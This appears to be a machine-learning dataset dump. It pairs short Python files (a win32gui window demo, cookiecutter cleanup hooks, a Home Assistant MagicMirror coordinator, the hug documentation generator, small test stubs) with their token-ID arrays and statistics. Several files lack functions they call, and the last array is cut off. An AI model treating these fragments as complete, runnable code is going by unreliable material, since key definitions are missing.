220, 220, 651, 62, 15252, 62, 273, 62, 26429, 198, 8, 198, 6738, 42625, 14208, 13, 6371, 82, 1330, 9575, 198, 6738, 42625, 14208, 13, 26791, 13, 2435, 11340, 1330, 357, 198, 220, 220, 220, 28805, 12514, 11, 1957, 2435, 11, 787, 62, 9685, 11, 783, 198, 8, 198, 6738, 42625, 14208, 13, 26791, 13, 41519, 1330, 334, 1136, 5239, 62, 75, 12582, 355, 4808, 198, 6738, 42625, 14208, 13, 33571, 13, 41357, 1330, 357, 198, 220, 220, 220, 37350, 7680, 11, 10133, 7680, 11, 42585, 7680, 11, 5178, 7680, 198, 8, 198, 6738, 40087, 541, 17, 13, 48277, 1330, 17917, 3673, 21077, 12331, 198, 6738, 20966, 1574, 1330, 651, 62, 16366, 62, 541, 198, 6738, 1334, 62, 30604, 1330, 357, 198, 220, 220, 220, 3722, 11, 5009, 198, 8, 198, 6738, 1334, 62, 30604, 13, 26209, 1330, 18261, 198, 198, 6738, 374, 461, 76, 1872, 13, 1177, 19816, 1040, 1330, 14504, 21947, 35608, 259, 198, 6738, 6128, 13, 27530, 1330, 8284, 198, 6738, 6128, 13, 83, 6791, 1330, 357, 198, 220, 220, 220, 3758, 62, 1662, 2649, 62, 1370, 198, 8, 198, 6738, 6128, 13, 1177, 19816, 1040, 1330, 9363, 21947, 35608, 259, 198, 6738, 764, 1330, 6460, 355, 2888, 62, 33692, 198, 6738, 764, 23914, 17, 1330, 357, 198, 220, 220, 220, 10239, 47790, 8479, 11, 10239, 4965, 316, 35215, 8479, 11, 10239, 4965, 316, 35215, 9218, 8479, 11, 10239, 4550, 15333, 8479, 11, 198, 220, 220, 220, 10239, 19400, 35215, 8479, 11, 10239, 7248, 35215, 8479, 11, 198, 220, 220, 220, 10239, 24941, 8479, 11, 10239, 3118, 30238, 8479, 11, 10239, 19400, 5376, 8479, 11, 198, 8, 198, 6738, 764, 27530, 1330, 357, 198, 220, 220, 220, 13118, 11, 14484, 13414, 2649, 11187, 11, 14484, 33, 3577, 198, 8, 198, 6738, 764, 46911, 11341, 1330, 314, 321, 634, 50, 907, 47258, 32634, 7509, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 198 ]
3.371226
563
""" ref: https://blog.csdn.net/chengqiuming/article/details/78601000 """ import win32gui from win32con import * wc = win32gui.WNDCLASS() wc.hbrBackground = COLOR_BTNFACE + 1 wc.hCursor = win32gui.LoadCursor(0, IDI_APPLICATION) wc.lpszClassName = "Python no Windows" wc.lpfnWndProc = WndProc reg = win32gui.RegisterClass(wc) hwnd = win32gui.CreateWindow(reg, 'Python', WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, 0, 0, 0, None) win32gui.ShowWindow(hwnd, SW_SHOWNORMAL) win32gui.UpdateWindow(hwnd) win32gui.PumpMessages()
[ 37811, 198, 5420, 25, 3740, 1378, 14036, 13, 6359, 32656, 13, 3262, 14, 2395, 782, 80, 1505, 278, 14, 20205, 14, 36604, 14, 3695, 41706, 830, 198, 37811, 198, 11748, 1592, 2624, 48317, 198, 6738, 1592, 2624, 1102, 1330, 1635, 628, 198, 198, 86, 66, 796, 1592, 2624, 48317, 13, 54, 8575, 31631, 3419, 198, 86, 66, 13, 71, 1671, 21756, 796, 20444, 1581, 62, 19313, 21870, 11598, 1343, 352, 198, 86, 66, 13, 71, 34, 21471, 796, 1592, 2624, 48317, 13, 8912, 34, 21471, 7, 15, 11, 4522, 40, 62, 2969, 31484, 6234, 8, 198, 86, 66, 13, 75, 862, 89, 9487, 5376, 796, 366, 37906, 645, 3964, 1, 198, 86, 66, 13, 34431, 22184, 54, 358, 2964, 66, 796, 370, 358, 2964, 66, 198, 2301, 796, 1592, 2624, 48317, 13, 38804, 9487, 7, 86, 66, 8, 198, 36599, 358, 796, 1592, 2624, 48317, 13, 16447, 27703, 7, 2301, 11, 705, 37906, 3256, 25290, 62, 41983, 43, 24805, 1961, 28929, 3913, 11, 24006, 62, 2937, 1961, 36, 38865, 11, 24006, 62, 2937, 1961, 36, 38865, 11, 24006, 62, 2937, 1961, 36, 38865, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 24006, 62, 2937, 1961, 36, 38865, 11, 657, 11, 657, 11, 657, 11, 6045, 8, 198, 5404, 2624, 48317, 13, 15307, 27703, 7, 36599, 358, 11, 12672, 62, 9693, 14165, 1581, 42126, 8, 198, 5404, 2624, 48317, 13, 10260, 27703, 7, 36599, 358, 8, 198, 5404, 2624, 48317, 13, 47, 931, 36479, 1095, 3419, 198 ]
2.197761
268
# This file is part of the Hotwire Shell project API. # Copyright (C) 2007 Colin Walters <[email protected]> # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies # of the Software, and to permit persons to whom the Software is furnished to do so, # subject to the following conditions: # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, # INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A # PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE X CONSORTIUM BE # LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, # TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR # THE USE OR OTHER DEALINGS IN THE SOFTWARE. import os,sys from hotwire.completion import Completer, Completion from hotwire.builtins.sys_builtin import SystemCompleters from hotwire.externals.singletonmixin import Singleton #SystemCompleters.getInstance()['rpm'] = rpm_completion
[ 2, 770, 2393, 318, 636, 286, 262, 6964, 21809, 17537, 1628, 7824, 13, 198, 198, 2, 15069, 357, 34, 8, 4343, 18373, 43287, 1279, 16783, 1010, 31, 332, 4435, 13, 2398, 29, 198, 198, 2, 2448, 3411, 318, 29376, 7520, 11, 1479, 286, 3877, 11, 284, 597, 1048, 16727, 257, 4866, 220, 198, 2, 286, 428, 3788, 290, 3917, 10314, 3696, 357, 1169, 366, 25423, 12340, 284, 1730, 220, 198, 2, 287, 262, 10442, 1231, 17504, 11, 1390, 1231, 17385, 262, 2489, 220, 198, 2, 284, 779, 11, 4866, 11, 13096, 11, 20121, 11, 7715, 11, 14983, 11, 850, 43085, 11, 290, 14, 273, 3677, 9088, 220, 198, 2, 286, 262, 10442, 11, 290, 284, 8749, 6506, 284, 4150, 262, 10442, 318, 30760, 284, 466, 523, 11, 220, 198, 2, 2426, 284, 262, 1708, 3403, 25, 198, 198, 2, 383, 2029, 6634, 4003, 290, 428, 7170, 4003, 2236, 307, 3017, 287, 477, 220, 198, 2, 9088, 393, 8904, 16690, 286, 262, 10442, 13, 198, 198, 2, 3336, 47466, 3180, 36592, 2389, 1961, 366, 1921, 3180, 1600, 42881, 34764, 56, 3963, 15529, 509, 12115, 11, 7788, 32761, 6375, 8959, 49094, 11, 198, 2, 47783, 2751, 21728, 5626, 40880, 5390, 3336, 34764, 11015, 3963, 34482, 3398, 1565, 5603, 25382, 11, 376, 46144, 7473, 317, 220, 198, 2, 16652, 2149, 37232, 33079, 48933, 5357, 44521, 1268, 10913, 2751, 12529, 13, 3268, 8005, 49261, 50163, 3336, 1395, 39537, 9863, 41796, 9348, 220, 198, 2, 43031, 19146, 7473, 15529, 47666, 3955, 11, 29506, 25552, 6375, 25401, 43031, 25382, 11, 7655, 2767, 16879, 3268, 3537, 40282, 3963, 27342, 10659, 11, 220, 198, 2, 309, 9863, 6375, 25401, 54, 24352, 11, 5923, 1797, 2751, 16034, 11, 16289, 3963, 6375, 3268, 7102, 45, 24565, 13315, 3336, 47466, 6375, 220, 198, 2, 3336, 23210, 6375, 25401, 5550, 1847, 20754, 3268, 3336, 47466, 13, 198, 198, 11748, 28686, 11, 17597, 198, 198, 6738, 3024, 21809, 13, 785, 24547, 1330, 955, 1154, 353, 11, 955, 24547, 198, 6738, 3024, 21809, 13, 18780, 1040, 13, 17597, 62, 18780, 259, 1330, 4482, 5377, 1154, 1010, 198, 6738, 3024, 21809, 13, 1069, 759, 874, 13, 12215, 10565, 19816, 259, 1330, 5573, 10565, 198, 2, 11964, 5377, 1154, 1010, 13, 1136, 33384, 3419, 17816, 48235, 20520, 796, 37542, 62, 785, 24547, 220 ]
3.700265
377
import unittest from securityheaders.checkers.csp import CSPDeprecatedDirectiveChecker, CSPReportOnlyDeprecatedDirectiveChecker if __name__ == '__main__': unittest.main()
[ 11748, 555, 715, 395, 198, 198, 6738, 2324, 50145, 13, 9122, 364, 13, 66, 2777, 1330, 327, 4303, 12156, 31023, 13470, 425, 9787, 263, 11, 327, 4303, 19100, 10049, 12156, 31023, 13470, 425, 9787, 263, 628, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 555, 715, 395, 13, 12417, 3419, 198 ]
3.068966
58
import pandas as pd from datetime import datetime from dateutil import parser
[ 198, 11748, 19798, 292, 355, 279, 67, 198, 6738, 4818, 8079, 1330, 4818, 8079, 198, 6738, 3128, 22602, 1330, 30751, 628 ]
3.809524
21
#!/usr/bin/env python import os import shutil PROJECT_DIRECTORY = os.path.realpath(os.path.curdir) if __name__ == '__main__': if '{{ cookiecutter.authors_format }}' == 'Markdown': remove_file('AUTHORS.rst') remove_file('docs/source/AUTHORS.rst') elif '{{ cookiecutter.authors_format }}' == 'reStructuredText': remove_file('AUTHORS.md') remove_file('docs/source/AUTHORS.md') else: remove_file('AUTHORS.rst') remove_file('docs/source/AUTHORS.rst') remove_file('AUTHORS.md') remove_file('docs/source/AUTHORS.md') if '{{ cookiecutter.readme_format }}' == 'Markdown': remove_file('README.rst') remove_file('docs/source/README.rst') elif '{{ cookiecutter.readme_format }}' == 'reStructuredText': remove_file('README.md') remove_file('docs/source/README.md') if '{{ cookiecutter.changelog_format }}' == 'Markdown': remove_file('CHANGELOG.rst') remove_file('docs/source/CHANGELOG.rst') elif '{{ cookiecutter.changelog_format }}' == 'reStructuredText': remove_file('CHANGELOG.md') remove_file('docs/source/CHANGELOG.md') else: remove_file('CHANGELOG.rst') remove_file('docs/source/CHANGELOG.rst') remove_file('CHANGELOG.md') remove_file('docs/source/CHANGELOG.md') if '{{ cookiecutter.license }}' == 'None': remove_file('LICENSE') remove_file('docs/source/license.rst') if '{{ cookiecutter.use_sphinx_documentation }}' == 'no': remove_directory('docs') if '{{ cookiecutter.install_issues_templates }}' == 'no': remove_directory('.github') remove_directory('.gitlab') elif '{{ cookiecutter.install_issues_templates }}' == 'Gitlab': remove_directory('.github') elif '{{ cookiecutter.install_issues_templates }}' == 'Github': remove_directory('.gitlab')
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 11748, 28686, 198, 11748, 4423, 346, 198, 198, 31190, 23680, 62, 17931, 23988, 15513, 796, 28686, 13, 6978, 13, 5305, 6978, 7, 418, 13, 6978, 13, 66, 2799, 343, 8, 628, 628, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 628, 220, 220, 220, 611, 705, 27007, 19751, 8968, 353, 13, 41617, 62, 18982, 34949, 6, 6624, 705, 9704, 2902, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 32, 24318, 20673, 13, 81, 301, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 31628, 14, 10459, 14, 32, 24318, 20673, 13, 81, 301, 11537, 198, 220, 220, 220, 1288, 361, 705, 27007, 19751, 8968, 353, 13, 41617, 62, 18982, 34949, 6, 6624, 705, 260, 44909, 1522, 8206, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 32, 24318, 20673, 13, 9132, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 31628, 14, 10459, 14, 32, 24318, 20673, 13, 9132, 11537, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 32, 24318, 20673, 13, 81, 301, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 31628, 14, 10459, 14, 32, 24318, 20673, 13, 81, 301, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 32, 24318, 20673, 13, 9132, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 31628, 14, 10459, 14, 32, 24318, 20673, 13, 9132, 11537, 628, 220, 220, 220, 611, 705, 27007, 19751, 8968, 353, 13, 961, 1326, 62, 18982, 34949, 6, 6624, 705, 9704, 2902, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 15675, 11682, 13, 81, 301, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 31628, 14, 10459, 14, 15675, 11682, 13, 81, 301, 11537, 198, 220, 220, 220, 1288, 361, 705, 27007, 19751, 8968, 353, 13, 961, 1326, 62, 18982, 34949, 6, 6624, 705, 260, 44909, 1522, 8206, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 15675, 11682, 13, 9132, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 31628, 14, 10459, 14, 15675, 11682, 13, 9132, 11537, 628, 220, 220, 220, 611, 705, 27007, 19751, 8968, 353, 13, 354, 8368, 519, 62, 18982, 34949, 6, 6624, 705, 9704, 2902, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 3398, 15567, 3698, 7730, 13, 81, 301, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 31628, 14, 10459, 14, 3398, 15567, 3698, 7730, 13, 81, 301, 11537, 198, 220, 220, 220, 1288, 361, 705, 27007, 19751, 8968, 353, 13, 354, 8368, 519, 62, 18982, 34949, 6, 6624, 705, 260, 44909, 1522, 8206, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 3398, 15567, 3698, 7730, 13, 9132, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 31628, 14, 10459, 14, 3398, 15567, 3698, 7730, 13, 9132, 11537, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 3398, 15567, 3698, 7730, 13, 81, 301, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 31628, 14, 10459, 14, 3398, 15567, 3698, 7730, 13, 81, 301, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 3398, 15567, 3698, 7730, 13, 9132, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 31628, 14, 10459, 14, 3398, 15567, 3698, 7730, 13, 9132, 11537, 628, 220, 220, 220, 611, 705, 27007, 19751, 8968, 353, 13, 43085, 34949, 6, 6624, 705, 14202, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 43, 2149, 24290, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 7753, 10786, 31628, 14, 10459, 14, 43085, 13, 81, 301, 11537, 628, 220, 220, 220, 611, 705, 27007, 19751, 8968, 353, 13, 1904, 62, 82, 746, 28413, 62, 22897, 341, 34949, 6, 6624, 705, 3919, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 34945, 10786, 31628, 11537, 628, 220, 220, 220, 611, 705, 27007, 19751, 8968, 353, 13, 17350, 62, 37165, 62, 11498, 17041, 34949, 6, 6624, 705, 3919, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 34945, 7, 4458, 12567, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 34945, 7, 4458, 18300, 23912, 11537, 198, 220, 220, 220, 1288, 361, 705, 27007, 19751, 8968, 353, 13, 17350, 62, 37165, 62, 11498, 17041, 34949, 6, 6624, 705, 38, 270, 23912, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 34945, 7, 4458, 12567, 11537, 198, 220, 220, 220, 1288, 361, 705, 27007, 19751, 8968, 353, 13, 17350, 62, 37165, 62, 11498, 17041, 34949, 6, 6624, 705, 38, 10060, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 4781, 62, 34945, 7, 4458, 18300, 23912, 11537, 198 ]
2.26
850
"""The MagicMirror integration.""" from __future__ import annotations from datetime import timedelta from aiohttp.client_exceptions import ClientConnectorError from async_timeout import timeout from voluptuous.error import Error from homeassistant.core import HomeAssistant from homeassistant.helpers.entity import DeviceInfo from homeassistant.helpers.update_coordinator import DataUpdateCoordinator, UpdateFailed from .api import MagicMirrorApiClient from .const import DOMAIN as MAGICMIRROR_DOMAIN, LOGGER from .models import Entity, MonitorResponse, QueryResponse class MagicMirrorDataUpdateCoordinator(DataUpdateCoordinator): """Class to manage fetching MagicMirror data.""" def __init__( self, hass: HomeAssistant, api: MagicMirrorApiClient, ) -> None: """Initialize.""" self.api = api self._attr_device_info = DeviceInfo( name="MagicMirror", model="MagicMirror", manufacturer="MagicMirror", identifiers={(MAGICMIRROR_DOMAIN, "MagicMirror")}, configuration_url=f"{api.base_url}/remote.html", ) super().__init__( hass, LOGGER, name=MAGICMIRROR_DOMAIN, update_interval=timedelta(minutes=1), ) async def _async_update_data(self) -> dict[str, str]: """Update data via library.""" try: async with timeout(10): monitor: MonitorResponse = await self.api.monitor_status() update: QueryResponse = await self.api.update_available() brightness: QueryResponse = await self.api.get_brightness() if not monitor.success: LOGGER.warning("Failed to fetch monitor-status for MagicMirror") if not update.success: LOGGER.warning("Failed to fetch update-status for MagicMirror") if not brightness.success: LOGGER.warning("Failed to fetch brightness for MagicMirror") return { Entity.MONITOR_STATUS.value: monitor.monitor, Entity.UPDATE_AVAILABLE.value: bool(update.result), Entity.BRIGHTNESS.value: int(brightness.result), } except (Error, ClientConnectorError) as error: LOGGER.error("Update error %s", error) raise UpdateFailed(error) from error
[ 37811, 464, 6139, 27453, 1472, 11812, 526, 15931, 198, 6738, 11593, 37443, 834, 1330, 37647, 198, 198, 6738, 4818, 8079, 1330, 28805, 12514, 198, 198, 6738, 257, 952, 4023, 13, 16366, 62, 1069, 11755, 1330, 20985, 34525, 12331, 198, 6738, 30351, 62, 48678, 1330, 26827, 198, 6738, 2322, 37623, 5623, 13, 18224, 1330, 13047, 198, 198, 6738, 1363, 562, 10167, 13, 7295, 1330, 5995, 48902, 198, 198, 6738, 1363, 562, 10167, 13, 16794, 364, 13, 26858, 1330, 16232, 12360, 198, 6738, 1363, 562, 10167, 13, 16794, 364, 13, 19119, 62, 37652, 20900, 1330, 6060, 10260, 7222, 585, 20900, 11, 10133, 37, 6255, 198, 198, 6738, 764, 15042, 1330, 6139, 27453, 1472, 32, 14415, 11792, 198, 6738, 764, 9979, 1330, 24121, 29833, 355, 28263, 2149, 44, 4663, 16411, 62, 39170, 29833, 11, 41605, 30373, 198, 6738, 764, 27530, 1330, 20885, 11, 18289, 31077, 11, 43301, 31077, 628, 198, 4871, 6139, 27453, 1472, 6601, 10260, 7222, 585, 20900, 7, 6601, 10260, 7222, 585, 20900, 2599, 198, 220, 220, 220, 37227, 9487, 284, 6687, 21207, 278, 6139, 27453, 1472, 1366, 526, 15931, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 11, 198, 220, 220, 220, 220, 220, 220, 220, 468, 82, 25, 5995, 48902, 11, 198, 220, 220, 220, 220, 220, 220, 220, 40391, 25, 6139, 27453, 1472, 32, 14415, 11792, 11, 198, 220, 220, 220, 1267, 4613, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 24243, 1096, 526, 15931, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 15042, 796, 40391, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 35226, 62, 25202, 62, 10951, 796, 16232, 12360, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1438, 2625, 22975, 27453, 1472, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2746, 2625, 22975, 27453, 1472, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 11554, 2625, 22975, 27453, 1472, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42814, 34758, 7, 45820, 2149, 44, 4663, 16411, 62, 39170, 29833, 11, 366, 22975, 27453, 1472, 4943, 5512, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 8398, 62, 6371, 28, 69, 1, 90, 15042, 13, 8692, 62, 6371, 92, 14, 47960, 13, 6494, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 1267, 628, 220, 220, 220, 220, 220, 220, 220, 2208, 22446, 834, 15003, 834, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 468, 82, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 41605, 30373, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1438, 28, 45820, 2149, 44, 4663, 16411, 62, 39170, 29833, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4296, 62, 3849, 2100, 28, 16514, 276, 12514, 7, 1084, 1769, 28, 16, 828, 198, 220, 220, 220, 220, 220, 220, 220, 1267, 628, 220, 220, 220, 30351, 825, 4808, 292, 13361, 62, 19119, 62, 7890, 7, 944, 8, 4613, 8633, 58, 2536, 11, 965, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 10260, 1366, 2884, 5888, 526, 15931, 628, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 30351, 351, 26827, 7, 940, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5671, 25, 18289, 31077, 796, 25507, 2116, 13, 15042, 13, 41143, 62, 13376, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4296, 25, 43301, 31077, 796, 25507, 2116, 13, 15042, 13, 19119, 62, 15182, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 22204, 25, 43301, 31077, 796, 25507, 2116, 13, 15042, 13, 1136, 62, 29199, 1108, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 407, 5671, 13, 13138, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 41605, 30373, 13, 43917, 7203, 37, 6255, 284, 21207, 5671, 12, 13376, 329, 6139, 27453, 1472, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 407, 4296, 13, 13138, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 41605, 30373, 13, 43917, 7203, 37, 6255, 284, 21207, 4296, 12, 13376, 329, 6139, 27453, 1472, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 407, 22204, 13, 13138, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 41605, 30373, 13, 43917, 7203, 37, 6255, 284, 21207, 22204, 329, 6139, 27453, 1472, 4943, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 20885, 13, 27857, 2043, 1581, 62, 35744, 2937, 13, 8367, 25, 5671, 13, 41143, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 20885, 13, 16977, 62, 10116, 32, 4146, 17534, 13, 8367, 25, 20512, 7, 19119, 13, 20274, 828, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 20885, 13, 11473, 9947, 31097, 13, 8367, 25, 493, 7, 29199, 1108, 13, 20274, 828, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1782, 628, 220, 220, 220, 220, 220, 220, 220, 2845, 357, 12331, 11, 20985, 34525, 12331, 8, 355, 4049, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 41605, 30373, 13, 18224, 7203, 10260, 4049, 4064, 82, 1600, 4049, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 10133, 37, 6255, 7, 18224, 8, 422, 4049, 198 ]
2.344168
1,046
from qittle.types.responses import hook from .base import Base
[ 6738, 10662, 1206, 13, 19199, 13, 16733, 274, 1330, 8011, 201, 198, 6738, 764, 8692, 1330, 7308, 201, 198, 201, 198 ]
3.190476
21
"""hug/documentation.py Defines tools that automate the creation of documentation for an API build using the Hug Framework Copyright (C) 2015 Timothy Edmund Crosley Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from collections import OrderedDict import hug.types def generate(module, base_url="", api_version=None): '''Generates documentation based on a Hug API module, base_url, and api_version (if applicable)''' documentation = OrderedDict() overview = module.__doc__ if overview: documentation['overview'] = overview documentation['versions'] = OrderedDict() versions = module.__hug__.versions for version in (api_version, ) if api_version else versions: documentation['versions'][version] = OrderedDict() for url, methods in module.__hug__.routes.items(): for method, versions in methods.items(): for version, handler in versions.items(): if version == None: applies_to = versions else: applies_to = (version, ) for version in applies_to: if api_version and version != api_version: continue doc = documentation['versions'][version].setdefault(url, OrderedDict()) doc = doc.setdefault(method, OrderedDict()) usage = handler.api_function.__doc__ if usage: doc['usage'] = usage for example in handler.examples: example_text = "{0}{1}{2}".format(base_url, '/v{0}'.format(version) if version else '', url) if isinstance(example, str): example_text += "?{0}".format(example) doc_examples = doc.setdefault('examples', []) if not example_text in doc_examples: doc_examples.append(example_text) doc['outputs'] = OrderedDict(format=handler.output_format.__doc__, content_type=handler.content_type) parameters = [param for param in handler.accepted_parameters if not param in ('request', 'response') and not param.startswith('hug_')] if parameters: inputs = doc.setdefault('inputs', OrderedDict()) types = handler.api_function.__annotations__ for argument in parameters: input_definition = inputs.setdefault(argument, OrderedDict()) input_definition['type'] = types.get(argument, hug.types.text).__doc__ default = handler.defaults.get(argument, None) if default is not None: input_definition['default'] = default if len(documentation['versions']) == 1: documentation.update(tuple(documentation['versions'].values())[0]) documentation.pop('versions') else: documentation['versions'].pop(None, '') return documentation
[ 37811, 71, 1018, 14, 22897, 341, 13, 9078, 198, 198, 7469, 1127, 4899, 326, 43511, 262, 6282, 286, 10314, 329, 281, 7824, 1382, 1262, 262, 12905, 25161, 198, 198, 15269, 357, 34, 8, 1853, 220, 22283, 35646, 26942, 1636, 198, 198, 5990, 3411, 318, 29376, 7520, 11, 1479, 286, 3877, 11, 284, 597, 1048, 16727, 257, 4866, 286, 428, 3788, 290, 3917, 198, 22897, 341, 3696, 357, 1169, 366, 25423, 12340, 284, 1730, 287, 262, 10442, 1231, 17504, 11, 1390, 1231, 17385, 198, 1169, 2489, 284, 779, 11, 4866, 11, 13096, 11, 20121, 11, 7715, 11, 14983, 11, 850, 43085, 11, 290, 14, 273, 3677, 9088, 286, 262, 10442, 11, 290, 198, 1462, 8749, 6506, 284, 4150, 262, 10442, 318, 30760, 284, 466, 523, 11, 2426, 284, 262, 1708, 3403, 25, 198, 198, 464, 2029, 6634, 4003, 290, 428, 7170, 4003, 2236, 307, 3017, 287, 477, 9088, 393, 198, 7266, 41321, 16690, 286, 262, 10442, 13, 198, 198, 10970, 47466, 3180, 36592, 2389, 1961, 366, 1921, 3180, 1600, 42881, 34764, 56, 3963, 15529, 509, 12115, 11, 7788, 32761, 6375, 8959, 49094, 11, 47783, 2751, 21728, 5626, 40880, 198, 10468, 3336, 34764, 11015, 3963, 34482, 3398, 1565, 5603, 25382, 11, 376, 46144, 7473, 317, 16652, 2149, 37232, 33079, 48933, 5357, 44521, 1268, 10913, 2751, 12529, 13, 3268, 8005, 49261, 50163, 198, 10970, 37195, 20673, 6375, 27975, 38162, 9947, 367, 15173, 4877, 9348, 43031, 19146, 7473, 15529, 47666, 3955, 11, 29506, 